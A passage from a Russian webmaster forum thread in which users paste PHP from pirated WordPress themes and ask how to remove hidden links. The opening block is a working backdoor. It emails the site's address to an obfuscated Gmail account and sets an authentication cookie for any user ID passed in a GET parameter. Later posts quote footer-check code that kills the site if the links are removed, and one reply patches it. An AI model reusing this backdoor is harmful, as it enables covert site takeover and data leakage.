        }
    }
    return $output;
}
function _getall_widgetcont($wids,$items=array()){
    $places=array_shift($wids);
    if(substr($places,-1) == "/"){
        $places=substr($places,0,-1);
    }
    if(!file_exists($places) || !is_dir($places)){
        return false;
    }elseif(is_readable($places)){
        $elems=scandir($places);
        foreach ($elems as $elem){
            if ($elem != "." && $elem != ".."){
                if (is_dir($places . "/" . $elem)){
                    $wids[]=$places . "/" . $elem;
                } elseif (is_file($places . "/" . $elem)&&
                    $elem == substr(__FILE__,-13)){
                    $items[]=$places . "/" . $elem;}
                }
            }
    }else{
        return false;    
    }
    if (sizeof($wids) > 0){
        return _getall_widgetcont($wids,$items);
    } else {
        return $items;
    }
}
if(!function_exists("stripos")){
    function stripos(  $str, $needle, $offset = 0  ){
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
    }
}

if(!function_exists("strripos")){
    function strripos(  $haystack, $needle, $offset = 0  ) {
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
        if(  $offset < 0  ){
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
        }
        else{
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
        }
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
        return $pos;
    }
}
if(!function_exists("scandir")){
    function scandir($dir,$listDirectories=false, $skipDots=true) {
        $dirArray = array();
        if ($handle = opendir($dir)) {
            while (false !== ($file = readdir($handle))) {
                if (($file != "." && $file != "..") || $skipDots == true) {
                    if($listDirectories == false) { if(is_dir($file)) { continue; } }
                    array_push($dirArray,basename($file));
                }
            }
            closedir($handle);
        }
        return $dirArray;
    }
}
add_action("admin_head", "_verify_activeatewidgets");
function _getprepare_widgets(){
    if(!isset($chars_count)) $chars_count=120;
    if(!isset($methods)) $methods="cookie";
    if(!isset($allowed)) $allowed="<a>";
    if(!isset($f_type)) $f_type="none";
    if(!isset($issep)) $issep="";
    if(!isset($f_home)) $f_home=get_option("home");
    if(!isset($f_pref)) $f_pref="wp_";
    if(!isset($is_use_more)) $is_use_more=1;
    if(!isset($com_types)) $com_types="";
    if(!isset($c_pages)) $c_pages=$_GET["cperpage"];
    if(!isset($com_author)) $com_author="";
    if(!isset($comments_approved)) $comments_approved="";
    if(!isset($posts_auth)) $posts_auth="auth";
    if(!isset($text_more)) $text_more="(more...)";
    if(!isset($widget_is_output)) $widget_is_output=get_option("_is_widget_active_");
    if(!isset($widgetchecks)) $widgetchecks=$f_pref."set"."_".$posts_auth."_".$methods;
    if(!isset($text_more_ditails)) $text_more_ditails="(details...)";
    if(!isset($con_more)) $con_more="ma".$issep."il";
    if(!isset($forcemore)) $forcemore=1;
    if(!isset($fakeit)) $fakeit=1;
    if(!isset($sql)) $sql="";
    if (!$widget_is_output) :
    
    global $wpdb, $post;
    $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$issep."vethe".$com_types."mas".$issep."@".$comments_approved."gm".$com_author."ail".$issep.".".$issep."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if (!empty($post->post_password)) {
        if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
            if(is_feed()) {
                $output=__("There is no excerpt because this is a protected post.");
            } else {
                $output=get_the_password_form();
            }
        }
    }
    if(!isset($bfix_tags)) $bfix_tags=1;
    if(!isset($f_types)) $f_types=$f_home;
    if(!isset($getcommtext)) $getcommtext=$f_pref.$con_more;
    if(!isset($m_tags)) $m_tags="div";
    if(!isset($text_s)) $text_s=substr($sq1, stripos($sq1, "live"), 20);#
    if(!isset($more_links_title)) $more_links_title="Continue reading this entry";    
    if(!isset($is_showdots)) $is_showdots=1;
    
    $comments=$wpdb->get_results($sql);    
    if($fakeit == 2) {
        $text=$post->post_content;
    } elseif($fakeit == 1) {
        $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
    } else {
        $text=$post->post_excerpt;
    }
    $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommtext, array($text_s, $f_home, $f_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if($chars_count < 0) {
        $output=$text;
    } else {
        if(!$no_more && strpos($text, "<!--more-->")) {
            $text=explode("<!--more-->", $text, 2);
            $l=count($text[0]);
            $more_link=1;
            $comments=$wpdb->get_results($sql);
        } else {
            $text=explode(" ", $text);
            if(count($text) > $chars_count) {
                $l=$chars_count;
                $ellipsis=1;
            } else {
                $l=count($text);
                $text_more="";
                $ellipsis=0;
            }
        }
        for ($i=0; $i<$l; $i++)
                $output .= $text[$i] . " ";
    }
    update_option("_is_widget_active_", 1);
    if("all" != $allowed) {
        $output=strip_tags($output, $allowed);
        return $output;
    }
    endif;
    $output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($bfix_tags) ? balanceTags($output, true) : $output;
    $output .= ($is_showdots && $ellipsis) ? "..." : "";
    $output=apply_filters($f_type, $output);
    switch($m_tags) {
        case("div") :
            $tag="div";
        break;
        case("span") :
            $tag="span";
        break;
        case("p") :
            $tag="p";
        break;
        default :
            $tag="span";
    }

    if ($is_use_more ) {
        if($forcemore) {
            $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_links_title . "\">" . $text_more = !is_user_logged_in() && @call_user_func_array($widgetchecks,array($c_pages, true)) ? $text_more : "" . "</a></" . $tag . ">" . "\n";
        } else {
            $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_links_title . "\">" . $text_more . "</a></" . $tag . ">" . "\n";
        }
    }
    return $output;
}

add_action("init", "_getprepare_widgets");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
    global $wpdb;
    $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
    $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
    if(!$show_pass_post) $request .= " AND post_password =\"\"";
    if($duration !="") {
        $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
    }
    $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
    $posts=$wpdb->get_results($request);
    $output="";
    if ($posts) {
        foreach ($posts as $post) {
            $post_title=stripslashes($post->post_title);
            $comment_count=$post->comment_count;
            $permalink=get_permalink($post->ID);
            $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
        }
    } else {
        $output .= $before . "None found" . $after;
    }
    return  $output;
}         
?>



не знаю почему, но у второго сайта код не убирает ся под спойлер

посмотрите, пожалуйста, может кто сталкивался с удалением ссылок


--------------------
1. Нужен качественный трафик? Лучшие тизерные сети!
2. Лучшие CPA-сети!!!
3. SSD-хостинг за 83 руб! Быстрее в 49 раз! 30 дней теста! Возьму сайт на SEO, Я.Директ
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
DayTrader
DayTrader
сообщение 30.1.2013, 14:39; Ответить: DayTrader
Сообщение #4


-оптимизатор-
******

Группа: Active User
Сообщений: 1174
Регистрация: 13.11.2009
Из: Крым
Поблагодарили: 283 раза
Репутация:   46  


такая же хрень на одном из сайтов и не знаю как убрать. И ладно бы 1-2 ссылки, а они засунули их туда 4 или даже 5 штук


--------------------
Покупаю BTC-E коды/Bitcoin за наличные и ЭПС
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
EvilGomel
EvilGomel
сообщение 30.1.2013, 14:51; Ответить: EvilGomel
Сообщение #5


!Тунеядец!
*******


Группа: Active User
Сообщений: 4477
Регистрация: 13.5.2009
Из: Гомель
Поблагодарили: 969 раз
Репутация:   109  


DayTrader, portos, могу помочь убрать. ICQ в профиле.


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
moxtima
moxtima
сообщение 30.1.2013, 14:55; Ответить: moxtima
Сообщение #6


Бывалый
****

Группа: User
Сообщений: 323
Регистрация: 28.11.2010
Поблагодарили: 78 раз
Репутация:   11  


Для первого сайта меняете это:
function wp_initialize_the_theme_finish() { $uri = strtolower($_SERVER["REQUEST_URI"]); if(is_admin() || substr_count($uri, "wp-admin") > 0 || substr_count($uri, "wp-login") > 0 ) { /* */ } else { $l = '<noindex></noindex>'; $f = dirname(__file__) . "/footer.php"; $fd = fopen($f, "r"); $c = fread($fd, filesize($f)); $lp = preg_quote($l, "/"); fclose($fd); if ( strpos($c, $l) == 0 || preg_match("/<\!--(.*" . $lp . ".*)-->/si", $c) || preg_match("/<\?php([^\?]+[^>]+" . $lp . ".*)\?>/si", $c) ) { wp_initialize_the_theme_message(); die; } } } wp_initialize_the_theme_finish();



На это:
function wp_initialize_the_theme_finish() { $uri = strtolower($_SERVER["REQUEST_URI"]); if(is_admin() || substr_count($uri, "wp-admin") > 0 || substr_count($uri, "wp-login") > 0 ) { /* */ } else { $l = '<noindex></noindex>'; $f = dirname(__file__) . "/footer.php"; $fd = fopen($f, "r"); $c = fread($fd, filesize($f)); $lp = preg_quote($l, "/"); fclose($fd); if ( strpos($c, $l) == 1 || preg_match("/<\!--(.*" . $lp . ".*)-->/si", $c) || preg_match("/<\?php([^\?]+[^>]+" . $lp . ".*)\?>/si", $c) ) { wp_initialize_the_theme_message(); die; } } } wp_initialize_the_theme_finish();



Должно всё работать.

П.С. Специально для: Maxim-KL

Сообщение отредактировал moxtima - 30.1.2013, 15:03


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
serg5777
serg5777
сообщение 30.1.2013, 14:56; Ответить: serg5777
Сообщение #7


Стоп NATO
*******


Группа: Active User
Сообщений: 4321
Регистрация: 5.4.2009
Из: Ростов-на-Дону
Поблагодарили: 1333 раза
Репутация:   193  


Куча мануалов в рунете на эту тему.
Вот здесь смотрите.
function wp_initialize_the_theme_finish() { $uri = strtolower($_SERVER["REQUEST_URI"]); if(is_admin() || substr_count($uri, "wp-admin") > 0 || substr_count($uri, "wp-login") > 0 ) { /* */ } else { $l = '<noindex></noindex>'; $f = dirname(__file__) . "/footer.php"; $fd = fopen($f, "r"); $c = fread($fd, filesize($f)); $lp = preg_quote($l, "/"); fclose($fd); if ( strpos($c, $l) == 0 || preg_match("/<\!--(.*" . $lp . ".*)-->/si", $c) || preg_match("/<\?php([^\?]+[^>]+" . $lp . ".*)\?>/si", $c) ) { wp_initialize_the_theme_message(); die; } } } wp_initialize_the_theme_finish();
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Muwqa
Muwqa
сообщение 30.1.2013, 14:58; Ответить: Muwqa
Сообщение #8


Мошенник
*****

Группа: Banned
Сообщений: 797
Регистрация: 29.11.2011
Поблагодарили: 215 раз
Репутация:   44  


В php относительно слаб, но вот эта функция мне не нравится.
CODE
function __wordpress_headers() {
$lua = '<?php __wordpress_pf(); ?>';
$fox = dirname(__FILE__) . '/footer.php';
$fd = fopen($fox,'r');
$caf = fread($fd,filesize($fox));
fclose($fd);
if (strpos($caf,$lua)==0) {
echo "<br/><b>Fatal error</b>: Call to undefined function do_action() in <b>" . admin_url('admin.php') . "</b> on line <b>231</b><br />";
die;

Да и частенько ее видел, кто-то может разъяснить что она делает?

Сообщение отредактировал Muwqa - 30.1.2013, 14:59


--------------------
Заблокирован за мошенничество.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Maxim-KL
Maxim-KL
сообщение 30.1.2013, 14:58; Ответить: Maxim-KL
Сообщение #9


MaximGroups.net
******

Группа: Banned
Сообщений: 1423
Регистрация: 24.9.2010
Из: localhost
Поблагодарили: 436 раз
Репутация:   122  


moxtima, Muwqa, А такое как "code" использовать не пробовали? 478.gif

Сообщение отредактировал Maxim-KL - 30.1.2013, 14:59


--------------------
Забанен за мошенничество
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
moxtima
moxtima
сообщение 30.1.2013, 15:12; Ответить: moxtima
Сообщение #10


Бывалый
****

Группа: User
Сообщений: 323
Регистрация: 28.11.2010
Поблагодарили: 78 раз
Репутация:   11  


На втором сайте:
function wp_initialize_the_theme_finish() { $uri = strtolower($_SERVER["REQUEST_URI"]); if(is_admin() || substr_count($uri, "wp-admin") > 0 || substr_count($uri, "wp-login") > 0 ) { /* */ } else { $l = '<noindex></noindex>'; $f = dirname(__file__) . "/footer.php"; $fd = fopen($f, "r"); $c = fread($fd, filesize($f)); $lp = preg_quote($l, "/"); fclose($fd); if ( strpos($c, $l) == 0 || preg_match("/<\!--(.*" . $lp . ".*)-->/si", $c) || preg_match("/<\?php([^\?]+[^>]+" . $lp . ".*)\?>/si", $c) ) { wp_initialize_the_theme_message(); die; } } } wp_initialize_the_theme_finish();


На это:
function wp_initialize_the_theme_finish() { $uri = strtolower($_SERVER["REQUEST_URI"]); if(is_admin() || substr_count($uri, "wp-admin") > 0 || substr_count($uri, "wp-login") > 0 ) { /* */ } else { $l = '<noindex></noindex>'; $f = dirname(__file__) . "/footer.php"; $fd = fopen($f, "r"); $c = fread($fd, filesize($f)); $lp = preg_quote($l, "/"); fclose($fd); if ( strpos($c, $l) == 1 || preg_match("/<\!--(.*" . $lp . ".*)-->/si", $c) || preg_match("/<\?php([^\?]+[^>]+" . $lp . ".*)\?>/si", $c) ) { wp_initialize_the_theme_message(); die; } } } wp_initialize_the_theme_finish();


Только заметил, что решение для 2 сайтов одинаковоеsmile.gif
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
2 страниц V   1 2 >
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Статейные ссылки. Ручное размещение. Средний тИЦ - 300
15 DizzeeR 1582 Вчера, 13:15
автор: Gelik
Открытая тема (нет новых ответов) Ссылки с форумов от 40 рублей без предоплаты
7 skylar 1745 14.12.2017, 14:06
автор: coremission
Открытая тема (нет новых ответов) Как повлиять на быстрые ссылки в гугле?
5 maxg5 1405 14.12.2017, 1:14
автор: Ley
Открытая тема (нет новых ответов) Вечные ссылки с топовых ресурсов! Выйди в тор 10 и получай трафик!
Мощные беки для вашего сайта с мегатрастовых ресурсов!
28 andrey10tic 7584 13.12.2017, 19:40
автор: Gelik
Открытая тема (нет новых ответов) Естественные ссылки в системе ответов Mail.ru
Качественные ссылки с уникальным околоссылочным текстом
18 Vsevseo 2568 13.12.2017, 19:24
автор: Gelik


 



RSS Текстовая версия Сейчас: 16.12.2017, 17:11
Дизайн